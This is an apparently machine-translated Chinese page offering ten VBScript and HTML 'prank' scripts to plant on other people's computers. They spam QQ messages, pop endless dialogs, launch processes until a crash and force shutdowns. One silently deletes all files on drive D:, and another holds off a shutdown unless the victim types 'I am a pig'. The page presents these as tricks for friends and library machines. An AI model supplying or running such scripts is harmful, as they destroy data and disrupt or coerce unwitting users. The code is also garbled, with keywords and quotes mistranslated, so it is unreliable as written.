【代码1】
你打开你朋友的聊天对话框，然后在你的QQ里记下你朋友的昵称。您可以通过替换下面代码中的xx(只需更改代码中的数字10)来自定义向朋友发送QQ消息的次数。
代码如下:
on error resume next
dimwsh，ye
set wsh = createobject(" wscript . shell quot；)
for i=1到10
wscript . sleep 700
wsh。app activate( quot；和xx聊天")
wsh . sendkeys quot；^vquot；
wsh . sendkeys I
wsh . sendkeys quot；% s quot
next
wscript . quit
【代码2】
我把这个程序放在学校图书馆的机器上查询书刊。很多人对此无能为力。
do
msgbox quot；你是愚蠢的！"
循环
【代码3】
打开无数个计算器，直到崩溃。
set wsh = createobject( quot；wscript.shell quot)
do
wsh . run quot；计算 quot
循环
【代码4】
直接关机。
dim wsh shell
set wsh shell = wscript . createobject( quot；wscript.shell quot)
wsh shell . run quot；关闭-f-s-t 00 quot；，0，真
[代码5]
删除D:\所有文件。
dim wsh shell
set wsh shell = wscript . createobject( quot；wscript.shell quot)
wsh shell . run quot；cmd/c quot；"del d:\*。*/f/q/s quot；""，0，真
[代码6]
窗口不断弹出
while(1)
msgbox“哈哈，你被耍了！"
循环
[代码7]
一直按alt+f4(打开和关闭一切)。
dim wsh shell
set wsh shell = wscript . createobject( quot；wscript.shell quot)
while(1)
wsh shell。发送键 quot% { F4 } quot；
循环
[代码8]
按Enter 500次(上面的代码在操作员的计算机上显示500个对话框。
其中doutil s = 500，500可随意更改)。
dim s
do until s = 500
s = s+1
msgbox quot；哥们，给我按回车500次”，64
循环
【代码9】
如果你发给你的QQ好友，他不理解，如果你不丢，我的电脑会在你设定的
时间内关机。我设置为3分钟。只要输入它，它就会被取消。当然，如果没丢，也有办法取消。
代码如下:
on error resume next
dimwshshell a
set wshshell a = wscript . createobject(" wscript . shell quot；)
wshshella . run quot；cmd.exe空调关闭-r-t 180-c quot；"说我是猪，不说我是猪一分钟关掉。如果你不相信我，试试 middot middot middot"""，0，true
dim a
do while(a lt； gt"我是一头猪。)
a = inputbox( quot；如果我说我是猪，我不会关掉它。快点吐出来，说“ quot我是一头猪。""， quot不要说“， quot"，8000，7000)
msgbox chr(13)+chr(13)+chr(13)+a，0， quotMsgBox quot
loop
msgbox chr(13)+chr(13)+chr(13)+ quot；你应该说“[br/]
dim wsh shell
set wsh shell = wscript . createobject( quot；wscript.shell quot)
wsh shell . run quot；cmd.exe空调关闭-a quot；，0，true
msgbox chr(13)+chr(13)+chr(13)+ quot；哈哈，真是个好孩子”
【代码10】
网页特技效果代码。如果你想看到效果，只需复制下面所有的代码，并保存在一个文本文件中。将文件的后缀修改为txt就可以看到效果。
lt；html gt
lt；head gt
lt；meta http-equiv = quot；内容类型 quotcontent = quot文本/html；charset = gb2312 quot gt
lt；title gt特效| linkweb.cn/js |-一种令人恶心的常见特技效果
lt；/head gt；
lt；body gt
lt；a href = quot"onMouseover = quotalert( # 39；为什么把鼠标放在这里？#39;);
alert( # 39；我不是说过你不能这么做吗？#39;);
alert( # 39；你把我的话当成什么了？#39;);
alert( # 39；你知道怎么了吗？#39;);
alert( # 39；什么？你真的...#39;);
alert( # 39；你居然没意识到自己做错了什么？#39;);
alert( # 39；你会为此付出代价的！#39;);
alert( # 39；我要你点击这里一千次...#39;);
alert( # 39；什么？你开始后悔了吗？#39;);
alert( # 39；何必呢？#39;);
alert( # 39；你一开始是做什么的？#39;);
alert( # 39；我不原谅你！#39;);
alert( # 39；好，从现在开始点击995次...#39;);
alert( # 39；你的手累了吗？#39;);
alert( # 39；什么？你没力气了？#39;);
alert( # 39；你一直在求我原谅你！#39;);
alert( # 39；看来你真的知道自己的错误了！#39;);
alert( # 39；下次你还会这么做吗？#39;);
alert( # 39；真的不会？#39;);
alert( # 39；好吧，今天放你一马！#39;);
alert( # 39；给我写封信说声抱歉！#39;);
alert( # 39；很高兴你能这么做！！！#39;);
document . bgcolor = # 39；黑 # 39；；
document . fg color = # 39；怀特 # 39；；
window . location . href = # 39；mailto:mygod@god？Subject=对不起，下次不敢了！#39;；" gt不要在这里移动鼠标
